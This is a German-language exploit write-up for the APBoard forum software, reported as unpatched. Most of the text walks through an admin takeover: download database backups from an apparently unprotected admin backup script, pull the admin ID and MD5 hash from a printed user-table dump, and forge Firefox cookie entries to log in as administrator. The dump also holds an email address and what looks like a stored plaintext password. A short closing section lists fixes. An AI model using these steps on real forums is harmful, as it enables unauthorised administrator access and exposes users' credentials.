Sicherheitslücke im Apboard

  • Betroffene Version:
    -APBoard 2.2-r3
    -APBoard 2.2b
    -APBoard EW2
    -***
  • Status:noch nicht behoben
  • Code:http://www.example.de/apboard/admin/backupnormal.php

  • Als Admin einloggen:
    Sollte es der Fall sein das man Zugriff auf diesen Bereich hat und dann auch
    noch Backups der DB vorhanden sind so steht uns nichts mehr im wege.

    Man lädt sich also das Backup runter was entweder als .sql file oder
    als tar.gz file dort liegt.Das ganze wird im Falle von tar.gz ausgepackt und
    man suche nach der Tabelle apbX_user_table die so einen Inhalt hat
    INSERT INTO `apb1_user_table` (`userid`,`username`,`publicname`,`userpassword`,`useremail`,`userposts`,`usergroup`,`deleted`
    ,`statusextra`,`regdate`,`signatur`,`infotext`,`usericq`,`useraim`,`useryim`,`usermsn`,`userhp`,`userage`,`userpic`,`profpic`
    ,`upic_avatar`,`interests`,`show_email_global`,`users_may_email`,`mods_may_email`,`gender`,`userignorelist`,`userfriendlist`
    ,`cookie_passwd`,`boardpassword`,`catpassword`,`dblastvisit`,`last_board_visit`,`lastvisitboards`,`last_aktivity`,`cookie_array`
    ,`cat_choose`,`birthday`,`showbirthday`,`adminmod`,`city`,`usertrillian`,`userjabber`,`zipcode`,`country`,`newsletter`,`ghost`
    ,`away`,`newsbox`,`cpu`,`ram`,`mb`,`graka`,`sk`,`os`,`w`,`pcsystempic`,`useravatar`,`imglink`,`apbnews`,`postsort`,`user_ppp`
    ,`user_tpp`,`user_hpp`,`user_sig`,`user_portal`,`user_lastthrhead`,`user_slidenavi`,`user_showsmilies`,`mysmilies`,`user_showtextbuttons`
    ,`user_showlevel`,`user_showcountry`,`user_showcountryflags`,`user_showbirthday`,`user_showzodiac`,`user_show_newsticker`
    ,`user_show_messengers`,`userstyle`,`systemuser`,`pmungelesen`,`pmcount_an`,`pmcount_von`,`portalboxoff`,`user_language`
    ,`user_timezone`,`user_tablewidth`,`user_boardrules`,`olduserdates`,`warnings`,`broadcast`) VALUES ('1','Admin','Admin'
    ,'8e1d7f37a60c0ff310095d8265a7553b','info@web.de','11','1,4','0','','1115835366','','','','','','','','0','39.jpg','','1'
    ,'','1','1','1','1','','','1','a:1:{i:7;s:8:\"kiwi7306\";}','','0','1202397232','a:13:{i:0;s:0:\"\";i:1;i:1115838669;i:3;i
    :1115969379;i:6;i:1118182448;i:7;i:1154541954;i:8;i:1188241188;i:11;i:1186564486;i:9;i:1187726269;i:12;i:1170924710;i:10;i
    :1188241226;i:13;i:1157901844;i:14;i:1171028891;i:17;i:1195201295;}','1195201539','','a:0:{}','2005-01-01','0','','Kassel',''
    ,'','14229','0','1','0','0','1','','','','','','','','','1','0','0','1','10','0','0','1','0','0','1','1','','0','1','1','1'
    ,'0','0','3','0','5','0','0','9','6','a:3:{s:5:\"lrb_1\";i:1;s:5:\"lrb_9\";i:1;s:6:\"lrb_15\";i:1;}','de_sie','1','95%','1','','','');

    Wichtig sind Feld 1 und 4 nach VALUES , das sind nämlich die ID und das Verschlüsselte
    Passwort. Also in dem Fall ID = 1 (Admin) und das PW 8e1d7f37a60c0ff310095d8265a7553b.

    Jetzt nimmt man sich Firefox zur Hand und ändert die cookies.txt ein wenig.(Alle Browserfenster sollten geschlossen sein)
    Folgenes wird eingetragen:

    www.example.de   FALSE   /   FALSE   1236507450   UserInformation[uid]   1
    www.example.de   FALSE   /   FALSE   1236507450   UserInformation[upass]   8e1d7f37a60c0ff310095d8265a7553b

    Dann einfach die Seite mit Firefox öffnen und man ist als Admin eingeloggt.

  • Was kann man dagegen tun? Eigentlich ganz einfach...
    1. den .htaccess Schutz nutzen
    2. die Datei backupnormal.php einfach loeschen
    3. In die Datei backupnormal.php folgendes am Anfang einfügen
    |
    ->   if ($adminlog!=1){
    apb_error("$_LANG[admin_lang_backup_no_admin]", FALSE); }